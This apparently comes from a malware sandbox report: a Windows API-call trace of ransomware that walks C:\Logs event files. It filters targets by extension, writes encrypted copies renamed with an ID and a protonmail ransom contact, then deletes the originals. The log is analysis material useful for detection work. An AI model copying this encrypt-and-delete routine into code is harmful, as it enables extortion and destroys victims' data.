	[0071.465] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0071.465] lstrlenW (lpString=".7z") returned 3
	[0071.465] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0071.465] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28
	[0071.465] lstrlenW (lpString=".dbf") returned 4
	[0071.465] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0071.465] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28
	[0071.465] lstrlenW (lpString=".1cd") returned 4
	[0071.466] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0071.466] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28
	[0071.466] lstrlenW (lpString=".jpg") returned 4
	[0071.466] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0071.466] lstrcmpiW (lpString1=".evtx", lpString2=".html") returned -1
	[0071.466] lstrlenW (lpString="Key Management Service.evtx") returned 27
	[0071.466] CreateFileW (lpFileName="C:\\Logs\\Key Management Service.evtx" (normalized: "c:\\logs\\key management service.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0071.466] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=69632) returned 1
	[0071.466] CloseHandle (hObject=0x2c0) returned 1
	[0071.466] GetFileAttributesW (lpFileName="C:\\Logs\\Key Management Service.evtx" (normalized: "c:\\logs\\key management service.evtx")) returned 0x20
	[0071.467] GetFileAttributesW (lpFileName="C:\\Logs\\Key Management Service.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\key management service.evtx.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0071.467] CreateFileW (lpFileName="C:\\Logs\\Key Management Service.evtx" (normalized: "c:\\logs\\key management service.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0071.467] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.467] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.467] CreateFileW (lpFileName="C:\\Logs\\Key Management Service.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\key management service.evtx.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0071.467] GetLastError () returned 0x0
	[0071.467] ReadFile (in: hFile=0x2c0, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0071.473] WriteFile (in: hFile=0x358, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0071.475] ReadFile (in: hFile=0x2c0, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1
	[0071.475] WriteFile (in: hFile=0x358, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0x10a, lpOverlapped=0x0) returned 1
	[0071.475] SetEndOfFile (hFile=0x358) returned 1
	[0071.476] CloseHandle (hObject=0x358) returned 1
	[0071.512] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.512] SetEndOfFile (hFile=0x2c0) returned 1
	[0071.514] CloseHandle (hObject=0x2c0) returned 1
	[0071.514] SetFileAttributesW (lpFileName="C:\\Logs\\Key Management Service.evtx.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0071.514] DeleteFileW (lpFileName="C:\\Logs\\Key Management Service.evtx" (normalized: "c:\\logs\\key management service.evtx")) returned 1
	[0071.515] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35
	[0071.515] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35
	[0071.515] lstrlenW (lpString=".doc") returned 4
	[0071.515] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0071.515] lstrlenW (lpString=".docx") returned 5
	[0071.515] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0071.515] lstrlenW (lpString=".pdf") returned 4
	[0071.515] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0071.515] lstrlenW (lpString=".xls") returned 4
	[0071.515] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0071.515] lstrlenW (lpString=".xlsx") returned 5
	[0071.515] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0071.515] lstrlenW (lpString=".ppt") returned 4
	[0071.515] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0071.515] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35
	[0071.515] lstrlenW (lpString=".zip") returned 4
	[0071.515] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0071.515] lstrlenW (lpString=".rar") returned 4
	[0071.515] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0071.516] lstrlenW (lpString=".bz2") returned 4
	[0071.516] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0071.516] lstrlenW (lpString=".7z") returned 3
	[0071.516] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0071.516] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35
	[0071.516] lstrlenW (lpString=".dbf") returned 4
	[0071.516] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0071.516] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35
	[0071.516] lstrlenW (lpString=".1cd") returned 4
	[0071.516] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0071.516] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35
	[0071.516] lstrlenW (lpString=".jpg") returned 4
	[0071.516] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0071.516] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35
	[0071.516] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35
	[0071.516] lstrlenW (lpString=".doc") returned 4
	[0071.516] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0071.516] lstrlenW (lpString=".docx") returned 5
	[0071.516] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0071.516] lstrlenW (lpString=".pdf") returned 4
	[0071.516] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0071.516] lstrlenW (lpString=".xls") returned 4
	[0071.516] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0071.516] lstrlenW (lpString=".xlsx") returned 5
	[0071.516] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0071.517] lstrlenW (lpString=".ppt") returned 4
	[0071.517] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0071.517] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35
	[0071.517] lstrlenW (lpString=".zip") returned 4
	[0071.517] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0071.517] lstrlenW (lpString=".rar") returned 4
	[0071.517] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0071.517] lstrlenW (lpString=".bz2") returned 4
	[0071.517] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0071.517] lstrlenW (lpString=".7z") returned 3
	[0071.517] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0071.517] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35
	[0071.517] lstrlenW (lpString=".dbf") returned 4
	[0071.517] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0071.517] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35
	[0071.517] lstrlenW (lpString=".1cd") returned 4
	[0071.517] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0071.517] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35
	[0071.517] lstrlenW (lpString=".jpg") returned 4
	[0071.517] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0071.517] lstrcmpiW (lpString1=".evtx", lpString2=".html") returned -1
	[0071.517] lstrlenW (lpString="Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 47
	[0071.518] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0071.518] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=69632) returned 1
	[0071.518] CloseHandle (hObject=0x2c0) returned 1
	[0071.518] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx")) returned 0x20
	[0071.518] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0071.518] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0071.518] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.519] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.519] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0071.520] GetLastError () returned 0x0
	[0071.520] ReadFile (in: hFile=0x2c0, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0071.522] WriteFile (in: hFile=0x358, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0071.525] ReadFile (in: hFile=0x2c0, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1
	[0071.525] WriteFile (in: hFile=0x358, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0x132, lpOverlapped=0x0) returned 1
	[0071.525] SetEndOfFile (hFile=0x358) returned 1
	[0071.525] CloseHandle (hObject=0x358) returned 1
	[0071.528] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.528] SetEndOfFile (hFile=0x2c0) returned 1
	[0071.529] CloseHandle (hObject=0x2c0) returned 1
	[0071.530] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0071.530] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx")) returned 1
	[0071.530] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55
	[0071.530] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55
	[0071.530] lstrlenW (lpString=".doc") returned 4
	[0071.530] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0071.530] lstrlenW (lpString=".docx") returned 5
	[0071.530] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0071.530] lstrlenW (lpString=".pdf") returned 4
	[0071.530] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0071.530] lstrlenW (lpString=".xls") returned 4
	[0071.531] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0071.531] lstrlenW (lpString=".xlsx") returned 5
	[0071.531] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0071.531] lstrlenW (lpString=".ppt") returned 4
	[0071.531] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0071.531] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55
	[0071.531] lstrlenW (lpString=".zip") returned 4
	[0071.531] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0071.531] lstrlenW (lpString=".rar") returned 4
	[0071.531] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0071.531] lstrlenW (lpString=".bz2") returned 4
	[0071.531] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0071.531] lstrlenW (lpString=".7z") returned 3
	[0071.531] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0071.531] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55
	[0071.531] lstrlenW (lpString=".dbf") returned 4
	[0071.531] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0071.531] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55
	[0071.531] lstrlenW (lpString=".1cd") returned 4
	[0071.531] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0071.531] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55
	[0071.531] lstrlenW (lpString=".jpg") returned 4
	[0071.531] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0071.531] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55
	[0071.531] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55
	[0071.532] lstrlenW (lpString=".doc") returned 4
	[0071.532] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0071.532] lstrlenW (lpString=".docx") returned 5
	[0071.532] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0071.532] lstrlenW (lpString=".pdf") returned 4
	[0071.532] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0071.532] lstrlenW (lpString=".xls") returned 4
	[0071.532] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0071.532] lstrlenW (lpString=".xlsx") returned 5
	[0071.532] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0071.532] lstrlenW (lpString=".ppt") returned 4
	[0071.532] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0071.532] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55
	[0071.532] lstrlenW (lpString=".zip") returned 4
	[0071.532] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0071.532] lstrlenW (lpString=".rar") returned 4
	[0071.532] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0071.532] lstrlenW (lpString=".bz2") returned 4
	[0071.532] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0071.532] lstrlenW (lpString=".7z") returned 3
	[0071.532] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0071.532] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55
	[0071.532] lstrlenW (lpString=".dbf") returned 4
	[0071.532] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0071.532] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55
	[0071.532] lstrlenW (lpString=".1cd") returned 4
	[0071.532] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0071.532] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55
	[0071.533] lstrlenW (lpString=".jpg") returned 4
	[0071.533] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0071.533] lstrcmpiW (lpString1=".evtx", lpString2=".html") returned -1
	[0071.533] lstrlenW (lpString="Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 78
	[0071.533] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0071.572] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=69632) returned 1
	[0071.573] CloseHandle (hObject=0x380) returned 1
	[0071.573] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx")) returned 0x20
	[0071.573] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0071.573] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0071.573] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.573] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.573] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0071.574] GetLastError () returned 0x0
	[0071.574] ReadFile (in: hFile=0x380, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0071.577] WriteFile (in: hFile=0x350, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0071.579] ReadFile (in: hFile=0x380, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1
	[0071.579] WriteFile (in: hFile=0x350, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0x170, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0x170, lpOverlapped=0x0) returned 1
	[0071.580] SetEndOfFile (hFile=0x350) returned 1
	[0071.580] CloseHandle (hObject=0x350) returned 1
	[0071.583] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.583] SetEndOfFile (hFile=0x380) returned 1
	[0071.584] CloseHandle (hObject=0x380) returned 1
	[0071.584] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0071.585] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx")) returned 1
	[0071.585] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86
	[0071.585] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86
	[0071.585] lstrlenW (lpString=".doc") returned 4
	[0071.585] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0071.585] lstrlenW (lpString=".docx") returned 5
	[0071.585] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0071.585] lstrlenW (lpString=".pdf") returned 4
	[0071.585] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0071.585] lstrlenW (lpString=".xls") returned 4
	[0071.585] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0071.586] lstrlenW (lpString=".xlsx") returned 5
	[0071.586] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0071.586] lstrlenW (lpString=".ppt") returned 4
	[0071.586] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0071.586] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86
	[0071.586] lstrlenW (lpString=".zip") returned 4
	[0071.586] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0071.586] lstrlenW (lpString=".rar") returned 4
	[0071.586] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0071.586] lstrlenW (lpString=".bz2") returned 4
	[0071.586] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0071.586] lstrlenW (lpString=".7z") returned 3
	[0071.586] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0071.586] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86
	[0071.586] lstrlenW (lpString=".dbf") returned 4
	[0071.586] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0071.586] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86
	[0071.586] lstrlenW (lpString=".1cd") returned 4
	[0071.586] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0071.586] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86
	[0071.586] lstrlenW (lpString=".jpg") returned 4
	[0071.586] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0071.586] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86
	[0071.586] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86
	[0071.586] lstrlenW (lpString=".doc") returned 4
	[0071.587] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0071.587] lstrlenW (lpString=".docx") returned 5
	[0071.587] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0071.587] lstrlenW (lpString=".pdf") returned 4
	[0071.587] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0071.587] lstrlenW (lpString=".xls") returned 4
	[0071.587] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0071.587] lstrlenW (lpString=".xlsx") returned 5
	[0071.587] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0071.587] lstrlenW (lpString=".ppt") returned 4
	[0071.587] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0071.587] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86
	[0071.587] lstrlenW (lpString=".zip") returned 4
	[0071.587] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0071.587] lstrlenW (lpString=".rar") returned 4
	[0071.587] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0071.588] lstrlenW (lpString=".bz2") returned 4
	[0071.588] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0071.588] lstrlenW (lpString=".7z") returned 3
	[0071.588] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0071.588] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86
	[0071.588] lstrlenW (lpString=".dbf") returned 4
	[0071.588] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0071.588] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86
	[0071.588] lstrlenW (lpString=".1cd") returned 4
	[0071.588] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0071.588] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86
	[0071.588] lstrlenW (lpString=".jpg") returned 4
	[0071.588] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0071.588] lstrcmpiW (lpString1=".evtx", lpString2=".html") returned -1
	[0071.588] lstrlenW (lpString="Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 45
	[0071.588] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0071.589] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=69632) returned 1
	[0071.589] CloseHandle (hObject=0x380) returned 1
	[0071.589] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx")) returned 0x20
